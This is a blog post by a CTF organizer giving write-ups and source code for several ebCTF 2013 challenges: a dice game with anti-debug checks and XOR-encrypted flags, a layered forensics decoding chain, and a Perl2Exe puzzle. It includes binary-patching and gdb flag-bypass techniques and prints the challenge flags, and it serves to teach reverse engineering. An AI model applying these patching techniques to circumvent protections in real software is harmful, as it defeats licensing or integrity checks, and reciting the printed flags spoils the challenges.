Thice.nl

Thice Security

De Star 6, 1601 MH Enkhuizen
Thice Security

Eindbazen ebCTF write-ups

21/01/2015, by Thice, category Code, CTF

With the Eindbazen CTF team, we hosted the CTF (ebCTF) during the hackers event OHM2013. To generate some awareness about the CTF and OHM2013 event we also held a Teaser round some time before it. Besides full-filling an organizers role I also created multiple challenges for both the teaser round and the CTF. For the teaser round I created the challenges BIN100 and FOR100, and for the main CTF I created the challenges BIN100 (together with asby), BIN200, BIN400 and NET400 (together with the NFI). This write-up contains the solutions, background info and source codes of the challenges I have worked on. Feel free to use anything from this write-up including source codes, as long as it is for non-commercial usage and please provide credits were appropriate. For commercial usage, please contact me to discuss.

 

ebCTF Teaser – BIN100

Description

Beat our dice game and get the flag.

http://dl.ctftime.org/85/499/ebCTF-Teaser-BIN100-Dice.exe

Solution

When we execute this file we see that it is a dice game and that we need to throw what the program wants:

BIN100

The dice throws seems to be done at random, so we do not have much chance of winning this game. What we can do is cheat by adjusting the code in OllyDbg. However we might want to avoid debug checks, because one of the things we should note is the calls to certain timing functions in the executable.

BIN100_time

To avoid having problems with the timing checks we should make sure we do not pause the program. Within OllyDbg we can make adjustments to the code and then save the program as a new executable. If we then execute this new executable we should not have any problems with the timing checks. We replace all the jumps to the wrong dice throws to NOPs, so all are throws are correct:

BIN100_Patches

When we now run the code outside of OllyDbg, we will get the flag. Note: When you run the code inside OllyDbg or patch the code live during execution it will most likely not result in the (correct) flag.

BIN100_flag

Source code

One of the ideas behind this challenge was to give the wrong key when people were running the challenge inside a debugger. Both a isDebuggerPresent routine and multiple timing checks were done during the execution of the code. When any of these checks failed the XOR-key which was used for the decryption of the flag would be changed so the flag would never be correctly decrypted.

The full source code of this challenge:

#include <iostream>
#include <windows.h>
#include <ctime>

BOOL isDebuggerPresent();
using namespace std;

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) {
// Define some variables
  string xorkey3;
  int xorkey1;
  int xorkey2 = 6;
  string secret;
  string enter;
  int dice; 
  // Timer check variables
  time_t check;
  time_t check1;
  time_t check2;
  srand (time(NULL));
  // Dices to print
  string dice1 = " -------\n|       |\n|   O   |\n|       |\n -------\n\n";
  string dice2 = " -------\n|     O |\n|       |\n| O     |\n -------\n\n";
  string dice3 = " -------\n|     O |\n|   O   |\n| O     |\n -------\n\n";
  string dice4 = " -------\n| O   O |\n|       |\n| O   O |\n -------\n\n";
  string dice5 = " -------\n| O   O |\n|   O   |\n| O   O |\n -------\n\n";
  string dice6 = " -------\n| O   O |\n| O   O |\n| O   O |\n -------\n\n";
  string dice7 = " -------\n| O   O |\n| O O O |\n| O   O |\n -------\n\n";

  // If there is a debugger xorkey1 starts with value \x42
  if (isDebuggerPresent()) {
    xorkey1 = '\x42';
  } else {
  // If there is no debugger xorkey1 starts with value \x10
    xorkey1 = '\x10';
  }

  // Print Header
  cout << endl << "[*] ebCTF 2013 Teaser - BIN100 - Dice Game";
  cout << endl << "    To get the flag you will need to throw the correct numbers." << endl << endl;
  cout <<         "[*] You will first need to throw a three, press enter to throw a dice!" << endl ;
  getline(cin, enter);
  // Debug check with timer
  check1 = time(0);
  dice = rand() % 6 + 1;

  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 3) {
    cout <<       "[*] You rolled a three! Good!" << endl << endl ;             
    xorkey2 = xorkey2 * 2; // 12
    // Flag: ebCTF{64ec47ece868ba34a425d90044cd2dec} (XORed)
    secret = "\x13\x21\x38\x15\x3D\x33\x57\x47\x2D\x27\x6A\x73\x44\x05\x26\x59\x5C\x79\x17\x44\x45\x77\x1A\x75\x49\x7D\x05\x4A\x78\x74\x6A\x70\x42\x02\x71\x05\x0F\x22\x08";
  } else {
    cout <<       "[*] You rolled a " << dice << " That is not a three :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  }
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  cout <<         "[*] Next you will need to throw a one, press enter to throw a dice!" << endl ;
  getline(cin, enter);
  // Debug check with timer 
  check1 = time(0);
  dice = rand() % 6 + 1;

  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 1) {
    cout <<       "[*] You rolled a one! Very nice!" << endl << endl;             
    xorkey2 = xorkey2 + 4; // 16
    xorkey3 = "\x02\x37\x0F\x35\x0F\x3C\x15\x07\x3C\x30\x2A\x30\x55\x12\x37\x15\x1E\x35\x01\x51";
  } else {
    cout <<       "[*] You rolled a " << dice << " That is not a one :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  }  
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  cout <<         "[*] Next you will need to throw another three, press enter to throw a dice!" << endl;
  getline(cin, enter);
  // Debug check with timer 
  check1 = time(0);
  dice = rand() % 6 + 1;

  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 3) {
    cout <<       "[*] You rolled a three! Awesome!" << endl << endl;             
    xorkey2 = xorkey2 * 3; // 48
  } else {
    cout <<       "[*] You rolled a " << dice << " That is not a three :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  }  
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  cout <<         "[*] Throw another three for me now, press enter to throw a dice!" << endl ;
  getline(cin, enter);
  // Debug check with timer 
  check1 = time(0);
  dice = rand() % 6 + 1;

  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 3) {
    cout <<       "[*] You rolled another three! Almost there now!" << endl << endl;             
    xorkey2 = xorkey2 + 2; // 50
    for (int temp = 0; temp < xorkey3.size(); temp++)
      xorkey3[temp] ^= xorkey1;
  }  else {
    cout <<       "[*] You rolled a " << dice << " That is not a three :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  } 
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  cout <<         "[*] The last character you need to roll is a seven....  (o_O)  Press enter to throw a dice!" << endl;
  getline(cin, enter);
  // Debug check with timer 
  check1 = time(0);  

  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 7) { cout << dice7; }
  if (dice == 7) {
    cout <<       "[*] You rolled a seven, with a six sided dice! How awesome are you?!" << endl << endl;
    xorkey2 = xorkey2 * 2; // 100 / \x64
    // Some extra code which doesn't change anything
    xorkey2 = xorkey2 * 50; 
    xorkey2 = xorkey2 / 50; 
    xorkey2 = xorkey2 + 65; 
    xorkey2 = xorkey2 - 65; 
    xorkey2 = xorkey2 * 42; 
    xorkey2 = xorkey2 / 42; // 100 / \x64
  }  else {
    cout <<       "[*] You rolled a " << dice << " That is not a seven :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  }  
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  
  // XOR xorkey2 with xorkey3
  for (int temp = 0; temp < xorkey3.size(); temp++)
    xorkey3[temp] ^= xorkey2;

  // XOR secret with xorkey3
  int keycount = 0;
  for (int count = 0; count < secret.size(); count++) {
    secret[count] ^= xorkey3[keycount];
    keycount++;
    if (keycount >= xorkey3.length()) {
      keycount = 0;
    }
  }

  // Check if the key was decrypted successfully
  if (secret.find("ebCTF") != string::npos) {
    cout <<         "[*] You rolled 3-1-3-3-7, what does that make you? ELEET! \\o/" << endl;
    cout <<         "[*] Nice job, here is the flag: " << secret << endl << endl;
  } else {
    cout << endl << "[!] It seems you did something wrong :( No flag for you." << endl << endl;
    return 0;
  }
}  

// Check debugger routine
BOOL isDebuggerPresent() {
  BOOL result = FALSE;
  HINSTANCE kern_lib = LoadLibraryEx( "kernel32.dll", NULL, 0 );
  if( kern_lib ) {
    FARPROC lIsDebuggerPresent = GetProcAddress( kern_lib, "IsDebuggerPresent" );
      if( lIsDebuggerPresent && lIsDebuggerPresent() ) {
        result = TRUE;
      }
      FreeLibrary( 
      kern_lib );
  }
  return result;
}

 

Write ups

Write ups for this challenge from others can be found here:

 

ebCTF Teaser – FOR100

Description

Eindbazen do not like Steganography challenges

flag = rev( steg.unhideBin( unhex( rot13( un7z( carve( xor( unhex( rot13( unrar( ebCTF_Teaser_FOR100.rar ) ) ) ) ) ) ) ) ) )

http://dl.ctftime.org/85/501/ebCTF_Teaser_FOR100.rar

The idea about this challenge was to make a statement about far-fetched unrealistic Forensic challenges which often appear during CTFs. But to keep it fair we would give the solution with it as well.

Solution

Step 1: unrar (ebCTF_Teaser_FOR100.rar)

The first step in this challenge was to unrar the ebCTF_Teaser_FOR100.rar file, the password for the file needed to be cracked and was “12”. After unrarring, we end up with a file Good_Luck

[email protected]:~/ebCTF/FOR100# unrar e -p12 ebCTF_Teaser_FOR100.rar 

UNRAR 3.90 beta 2 freeware      Copyright (c) 1993-2009 Alexander Roshal


Extracting from ebCTF_Teaser_FOR100.rar

Extracting  Good_Luck                                                 OK 
All OK

Step2: rot13( Good_Luck )

The Good_Luck file seems to contain numbers and some characters:

[email protected]:~/ebCTF/FOR100# head -c 50 Good_Luck
po120p054s4858484242424s0o0n0610424241624242436r4n

We need to rot13 this, which we can do with the following oneliner, after which we end up with hexadecimal numbers:

[email protected]:~/ebCTF/FOR100# cat Good_Luck | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m][N-Z][A-M]' > Good_Luck_rot13

[email protected]:~/ebCTF/FOR100# head -c 50 Good_Luck_rot13 
cb120c054f4858484242424f0b0a0610424241624242436e4a

Step 3: unhex( Good_Luck_rot13 )

The next part is to unHex the new file, we can use the following oneliner for that:

[email protected]:~/ebCTF/FOR100# cat Good_Luck_rot13 | perl -ne '$_ =~ s/([a-f0-9]{2})/chr(hex($1))/ieg;print' > Good_Luck_rot13_unhex

 Step 4: xor( Good_Luck_rot13_unhex )

In this part we need to XOR the file, however we do not know with what we need to XOR it. Brute forcing a single XOR character gives us the XOR key of 0x42. We can use the following one-liner to XOR the file:

[email protected]:~/ebCTF/FOR100# cat Good_Luck_rot13_unhex | perl -ne 'print pack "C*", map {$_^0x42} unpack "C*", $_' > Good_Luck_rot13_unhex_xor

The file we end up with seems to be the following PNG file.

[email protected]:~/ebCTF/FOR100# file Good_Luck_rot13_unhex_xor 
Good_Luck_rot13_hex_xor: PNG image, 800 x 300, 8-bit/color RGB, non-interlaced

 

Good_Luck_rot13_hex_xor

Step 5: carve( Good_Luck_rot13_unhex_xor.png )

We can carve with multiple tools (such as PhotoRec, Scalpel, Foremost), or we can open the file with a Hex editor, below we can spot the footer of the PNG and right after it a 7zip header:

Carve

To get to the 7zip file we use the dd tool and skip the first 10388 bytes (0x000195d0 as in the screenshot above).

[email protected]:~/ebCTF/FOR100# dd ibs=1 skip=103888 if=Good_Luck_rot13_unhex_xor.png of=Carve.7z
386315+0 records in
754+1 records out
386315 bytes (386 kB) copied, 0.201287 s, 1.9 MB/s


[email protected]:~/ebCTF/FOR100# file Carve.7z 
Carve.7z: 7-zip archive data, version 0.3

Step 6: un7z( Carve.7z )

Now we can unpack the 7zip file, however it is also password protected. The password can be cracked and is “21”.

[email protected]:~/ebCTF/FOR100# 7z e -p21 Carve.7z

7-Zip 9.04 beta Copyright (c) 1999-2009 Igor Pavlov 2009-05-30
p7zip Version 9.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU)

Processing archive: Carve.7z

Extracting ebCTF-Stego_is_NOT_forensics

Everything is Ok

Size: 830836
Compressed: 386315

Step 7: rot13( ebCTF-Stego_is_NOT_forensics )

From the 7zip file we got the file ebCTF-Stego_is_NOT_forensics.

[email protected]:~/ebCTF/FOR100# file ebCTF-Stego_is_NOT_forensics
ebCTF-Stego_is_NOT_forensics: ASCII text, with very long lines, with CRLF line terminators

The first part of this file seems to contain the following information:

Did you know ebCTF will take place from August 2 till August 4, 2013?
Better put that in your calendar!

After this part there seems to be some kind of encoding again which we also saw in step 2:

[email protected]:~/ebCTF/FOR100# head -c 158 ebCTF-Stego_is_NOT_forensics | tail -c 50
89504r470q0n1n0n0000000q49484452000003r0000004o008

We can rot13 decode this with a one-liner, where we use dd to cut off the header:

[email protected]:~/ebCTF/FOR100# dd ibs=1 skip=108 if=ebCTF-Stego_is_NOT_forensics | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m][N-Z][A-M]' > ebCTF-Stego_is_NOT_forensics_rot13
830728+0 records in
1622+1 records out
830728 bytes (831 kB) copied, 0.435059 s, 1.9 MB/s

Now we end up with a Hexadecimal file again:

[email protected]:~/ebCTF/FOR100# head -c 50 ebCTF-Stego_is_NOT_forensics_rot13
89504e470d0a1a0a0000000d49484452000003e0000004b008

Step 8: unhex( ebCTF-Stego_is_NOT_forensics_rot13 )

We use the same kind of one-liner as in Step 4:

[email protected]:~/ebCTF/FOR100# cat ebCTF-Stego_is_NOT_forensics_rot13 | perl -ne '$_ =~ s/([a-f0-9]{2})/chr(hex($1))/ieg;print' > ebCTF-Stego_is_NOT_forensics_rot13_unhex

[email protected]:~/ebCTF/FOR100# file ebCTF-Stego_is_NOT_forensics_rot13_unhex 
ebCTF-Stego_is_NOT_forensics_rot13_unhex: PNG image, 992 x 1200, 8-bit/color RGB, non-interlaced

It seems we ended up with a PNG again:

ebCTF-Stego_is_NOT_forensics_rot13_unhex

Step 9: steg.unhideBin( ebCTF-Stego_is_NOT_forensics_rot13_unhex.png )

The name of this next step seems to be a link to the LSB-Steganography Python software found on github.

[email protected]:~/ctf# cat LSBbin_unhide.py
from LSBSteg import LSBSteg
import cv2.cv as cv
import sys

inp = cv.LoadImage("ebCTF-Stego_is_NOT_forensics2_rot13_unhex.png")
steg = LSBSteg(inp)
bin = steg.unhideBin()
f = open("unhide","wb")
f.write(bin)
f.close()

When we run this script we end up with a new file:

[email protected]:~/ctf# python LSBbin_unhide.py

[email protected]:~/ebCTF/FOR100# file unhide 
unhide: data

Step 10: rev( unhide )

For the 10th and last step we need to reverse the file, so once again we use a one-liner:

[email protected]:~/ebCTF/FOR100# cat unhide | perl -e '$_ = reverse <STDIN>;print' > unhide_rev 

[email protected]:~/ebCTF/FOR100# file unhide_rev 
unhide_rev: PNG image, 650 x 820, 8-bit/color RGBA, non-interlaced

It seems we ended up with another PNG file and the flag:

unhide_rev

 Write ups

Write ups for this challenge from others can be found here:

 

ebCTF – BIN100

Description

You showed your Windows debugger skills during the teaser, but how good are your Linux debugger skills?

http://ebctf.nl/files/c31892374badbfabd06a63ebe39d9036/bin100

BIN100 of ebCTF was a joint effort of asby and me, it was the Linux version of BIN100 from the ebCTF Teaser round. Basically the code was the same with some minor changes.

Solution

Running the program we see:

[email protected]:~/ebCTF/bin100# ./bin100

[*] ebCTF 2013 Teaser - BIN100 - Dice Game
    To get the flag you will need to throw the correct numbers.

[*] You will first need to throw a three, press enter to throw a dice!

 -------
|     O |
|   O   |
| O     |
 -------

[*] You rolled a three! Good!

[*] Next you will need to throw a one, press enter to throw a dice!

 -------
|     O |
|   O   |
| O     |
 -------

[*] You rolled a 3 That is not a one :/
[*] Game over!

Let’s look what the program has under the hood, to look at the assembly code of this program we run the objdump command:

[email protected]:~/ebCTF/bin100# objdump -d bin100 > bin100.asm

After some research we find the following interesting compares and jumps:

 8048f87:       83 7c 24 50 03          cmpl   $0x3,0x50(%esp)
 8048f8c:       75 4e                   jne    8048fdc <main+0x390>

 8049194:       83 7c 24 50 01          cmpl   $0x1,0x50(%esp)
 8049199:       75 4f                   jne    80491ea <main+0x59e>

 80493a2:       83 7c 24 50 03          cmpl   $0x3,0x50(%esp)
 80493a7:       75 6d                   jne    8049416 <main+0x7ca>

 80495a5:       83 7c 24 50 03          cmpl   $0x3,0x50(%esp)
 80495aa:       0f 85 82 00 00 00       jne    8049632 <main+0x9e6>

 8049805:       83 7c 24 50 07          cmpl   $0x7,0x50(%esp)
 804980a:       0f 85 c1 00 00 00       jne    80498d1 <main+0xc85>

We could adjust these jumps so the throws are always correct. The JNE instruction jumps when “ZF = 0” (info), we can adjust ZF in gdb by setting the eflags. Since we expect anti debug checks we can create a command script for gdb instead of typing the commands:

b *0x08048f8c
commands
silent
set ($eflags)=0x42
c
end

b *0x08049199
commands
silent
set ($eflags)=0x42
c
end

b *0x080493a7
commands
silent
set ($eflags)=0x42
c
end

b *0x080495aa
commands
silent
set ($eflags)=0x42
c
end

b *0x0804980a
commands
silent
set ($eflags)=0x42
c
end

file ./bin100
r <<< `yes | head`
q

The `yes | head` command is used to input the enters for the dice rolls. When we execute the script we get the flag:

[email protected]:~/ebCTF/bin100# gdb --command=bin100.solv | grep ebCTF
yes: standard output: Broken pipe
yes: write error
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).

[*] ebCTF 2013 - BIN100 - Dice Game
[*] Nice job, here is the flag: ebCTF{9a9689dbd47a1fd3fc0bf17d60edf545}

 Source code

#include <iostream>
#include <ctime>
#include <stdlib.h>
using namespace std;
int main() {
// Define some variables
  string xorkey3;
  int xorkey1;
  // int xorkey2 = 6;
  int xorkey2 = 5;  
  string secret;
  string enter;
  int dice; 
  // Timer check variables
  time_t check;
  time_t check1;
  time_t check2;
  srand (time(NULL));
  // Dices to print
  string dice1 = " -------\n|       |\n|   O   |\n|       |\n -------\n\n";
  string dice2 = " -------\n|     O |\n|       |\n| O     |\n -------\n\n";
  string dice3 = " -------\n|     O |\n|   O   |\n| O     |\n -------\n\n";
  string dice4 = " -------\n| O   O |\n|       |\n| O   O |\n -------\n\n";
  string dice5 = " -------\n| O   O |\n|   O   |\n| O   O |\n -------\n\n";
  string dice6 = " -------\n| O   O |\n| O   O |\n| O   O |\n -------\n\n";
  string dice7 = " -------\n| O   O |\n| O O O |\n| O   O |\n -------\n\n";
  xorkey1 = '\x66';
  // Print Header
  cout << endl << "[*] ebCTF 2013 - BIN100 - Dice Game";
  cout << endl << "    To get the flag you will need to throw the correct numbers." << endl << endl;
  cout <<         "[*] You will first need to throw a three, press enter to throw a dice!" << endl ;
  getline(cin, enter);
  // Debug check with timer
  check1 = time(0);
  dice = rand() % 6 + 1;
  // debug: dice = 3;
  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 3) {
    cout <<       "[*] You rolled a three! Good!" << endl << endl ;             
    xorkey2 = xorkey2 * 2; // 10
    // Flag: ebCTF{9a9689dbd47a1fd3fc0bf17d60edf545} (XORed)
    secret = "\x68\x5A\x43\x6E\x46\x48\x23\x69\x0A\x09\x1D\x06\x3E\x7F\x5C\x2E\x26\x5B\x3F\x38\x69\x0B\x66\x59\x30\x51\x7C\x39\x04\x5B\x13\x0F\x3F\x79\x5E\x2F\x25\x0F\x73";
  } else {
    cout <<       "[*] You rolled a " << dice << " That is not a three :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  }
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  cout <<         "[*] Next you will need to throw a one, press enter to throw a dice!" << endl ;
  getline(cin, enter);
  // Debug check with timer 
  check1 = time(0);
  dice = rand() % 6 + 1;
  // debug dice = 1;
  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 1) {
    cout <<       "[*] You rolled a one! Very nice!" << endl << endl;             
    xorkey2 = xorkey2 + 4; // 14
    xorkey3 = "\x33\x06\x3E\x04\x3E\x0D\x24\x36\x0D\x01\x1B\x01\x64\x23\x06\x24\x2F\x04\x30\x60";
  } else {
    cout <<       "[*] You rolled a " << dice << " That is not a one :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  }  
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  cout <<         "[*] Next you will need to throw another three, press enter to throw a dice!" << endl;
  getline(cin, enter);
  // Debug check with timer 
  check1 = time(0);
  dice = rand() % 6 + 1;
  // debug dice = 3;
  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 3) {
    cout <<       "[*] You rolled a three! Awesome!" << endl << endl;             
    xorkey2 = xorkey2 * 3; // 42
  } else {
    cout <<       "[*] You rolled a " << dice << " That is not a three :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  }  
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  cout <<         "[*] Throw another three for me now, press enter to throw a dice!" << endl ;
  getline(cin, enter);
  // Debug check with timer 
  check1 = time(0);
  dice = rand() % 6 + 1;
  // debug dice = 3;
  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 3) {
    cout <<       "[*] You rolled another three! Almost there now!" << endl << endl;             
    xorkey2 = xorkey2 + 2; // 44
    for (int temp = 0; temp < xorkey3.size(); temp++)
      xorkey3[temp] ^= xorkey1;
  }  else {
    cout <<       "[*] You rolled a " << dice << " That is not a three :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  } 
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  cout <<         "[*] The last character you need to roll is a seven....  (o_O)  Press enter to throw a dice!" << endl;
  getline(cin, enter);
  // Debug check with timer 
  check1 = time(0);  
  dice = rand() % 6 + 1;
  // debug dice = 7;
  // Print dice
  if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; }
  if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; }
  if (dice == 7) { cout << dice7; }
  if (dice == 7) {
    cout <<       "[*] You rolled a seven, with a six sided dice! How awesome are you?!" << endl << endl;
    xorkey2 = xorkey2 * 2; // 88 / \x58
    // Some extra code which doesn't change anything
    xorkey2 = xorkey2 * 50; 
    xorkey2 = xorkey2 / 50; 
    xorkey2 = xorkey2 + 65; 
    xorkey2 = xorkey2 - 65; 
    xorkey2 = xorkey2 * 42; 
    xorkey2 = xorkey2 / 42; // 88 / \x58
  }  else {
    cout <<       "[*] You rolled a " << dice << " That is not a seven :/" << endl;
    cout <<       "[*] Game over!" << endl;
    return 0;
  }  
  // Debug check with timer
  check2 = time(0); check = check2 - check1;  
  if (check > 2) { xorkey2 = xorkey2 * 2; }
  
  // XOR xorkey2 with xorkey3
  for (int temp = 0; temp < xorkey3.size(); temp++)
    xorkey3[temp] ^= xorkey2;
  // XOR secret with xorkey3
  int keycount = 0;
  for (int count = 0; count < secret.size(); count++) {
    secret[count] ^= xorkey3[keycount];
    keycount++;
    if (keycount >= xorkey3.length()) {
      keycount = 0;
    }
  }
  // Check if the key was decrypted successfully
  if (secret.find("ebCTF") != string::npos) {
    cout <<         "[*] You rolled 3-1-3-3-7, what does that make you? ELEET! \\o/" << endl;
    cout <<         "[*] Nice job, here is the flag: " << secret << endl << endl;
  } else {
    cout << endl << "[!] It seems you did something wrong :( No flag for you." << endl << endl;
    return 0;
  }
}

Write ups

Write ups for this challenge from others can be found here:

 

ebCTF – BIN200

Description

 There should be something hidden in this file, can you find it?

http://ebctf.nl/files/fcb920470457ec583006ca1de1025e17/ebCTF_BIN200.exe

The executable was a Perlscript which was converted in to an executable using Perl2Exe. The idea behind this challenge was to perform the following trick to recover the Perl source code:

Thice.nl: Perl2Exe back to Perl

Sadly enough between the creation (and testing) of the challenge and the usage of it during ebCTF someone created a Python script which made this challenge much easier sadly enough. It was not the goal of this challenge to just run a tool against the file and get the flag.

When we follow the approach described in the article or dump it with the Python script we end up with the following (truncated) source code:

BIN200

Source Code

The reason the key was added in ASCII art instead of plaintext was to make sure it would not be easy to just find the key somewhere in memory when executing the program.

Challenge source code:

#!/usr/bin/perl

print "\n[*] ebCTF BIN 200\n".
      "      No comment...\n\n";

$secret = "Sup3RSeCr3tStuFf!";

print "[*] What is the secret? ";
$answer = <STDIN>;
chomp($answer);

if ($answer eq $secret) {
  print "\n[*] Yes, that is correct! However that was not the goal of this challenge.\n".
        "    Did you know that compiled code does not contain any comments?\n";
} else {
	print "\n[*] Isn't that cute...but it is WRONG!.\n";
}

# W e l l ,  w e l l,  i t  s e e m s  t h e r e  a c t u a l l y  i s  a  c o m m e n t . . .
#
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |  _________   | | |   ______     | | |     ______   | | |  _________   | |
#| | |_   ___  |  | | |  |_   _ \    | | |   .' ___  |  | | | |  _   _  |  | |
#| |   | |_  \_|  | | |    | |_) |   | | |  / .'   \_|  | | | |_/ | | \_|  | |
#| |   |  _|  _   | | |    |  __'.   | | |  | |         | | |     | |      | |
#| |  _| |___/ |  | | |   _| |__) |  | | |  \ `.___.'\  | | |    _| |_     | |
#| | |_________|  | | |  |_______/   | | |   `._____.'  | | |   |_____|    | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |  _________   | | |       __     | | |  _________   | | |  ________    | |
#| | |_   ___  |  | | |     .' _/    | | | |_   ___  |  | | | |_   ___ `.  | |
#| |   | |_  \_|  | | |     | |      | | |   | |_  \_|  | | |   | |   `. \ | |
#| |   |  _|      | | |    < <       | | |   |  _|  _   | | |   | |    | | | |
#| |  _| |_       | | |     | |_     | | |  _| |___/ |  | | |  _| |___.' / | |
#| | |_____|      | | |     `.__\    | | | |_________|  | | | |________.'  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |   ______     | | |  ________    | | |   ______     | | |     ____     | |
#| |  |_   _ \    | | | |_   ___ `.  | | |  |_   _ \    | | |   .'    '.   | |
#| |    | |_) |   | | |   | |   `. \ | | |    | |_) |   | | |  |  .--.  |  | |
#| |    |  __'.   | | |   | |    | | | | |    |  __'.   | | |  | |    | |  | |
#| |   _| |__) |  | | |  _| |___.' / | | |   _| |__) |  | | |  |  `--'  |  | |
#| |  |_______/   | | | |________.'  | | |  |_______/   | | |   '.____.'   | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |    ______    | | |     ______   | | |   _______    | | |    ______    | |
#| |   / ____ `.  | | |   .' ___  |  | | |  |  ___  |   | | |  .' ____ '.  | |
#| |   `'  __) |  | | |  / .'   \_|  | | |  |_/  / /    | | |  | (____) |  | |
#| |   _  |__ '.  | | |  | |         | | |      / /     | | |  '_.____. |  | |
#| |  | \____) |  | | |  \ `.___.'\  | | |     / /      | | |  | \____| |  | |
#| |   \______.'  | | |   `._____.'  | | |    /_/       | | |   \______,'  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |    ______    | | |     ____     | | |  _________   | | |      __      | |
#| |  .' ____ '.  | | |   .' __ '.   | | | |_   ___  |  | | |     /  \     | |
#| |  | (____) |  | | |   | (__) |   | | |   | |_  \_|  | | |    / /\ \    | |
#| |  '_.____. |  | | |   .`____'.   | | |   |  _|      | | |   / ____ \   | |
#| |  | \____| |  | | |  | (____) |  | | |  _| |_       | | | _/ /    \ \_ | |
#| |   \______,'  | | |  `.______.'  | | | |_____|      | | ||____|  |____|| |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |   _______    | | |   _______    | | |     __       | | |   ______     | |
#| |  |  ___  |   | | |  |  _____|   | | |    /  |      | | |  |_   _ \    | |
#| |  |_/  / /    | | |  | |____     | | |    `| |      | | |    | |_) |   | |
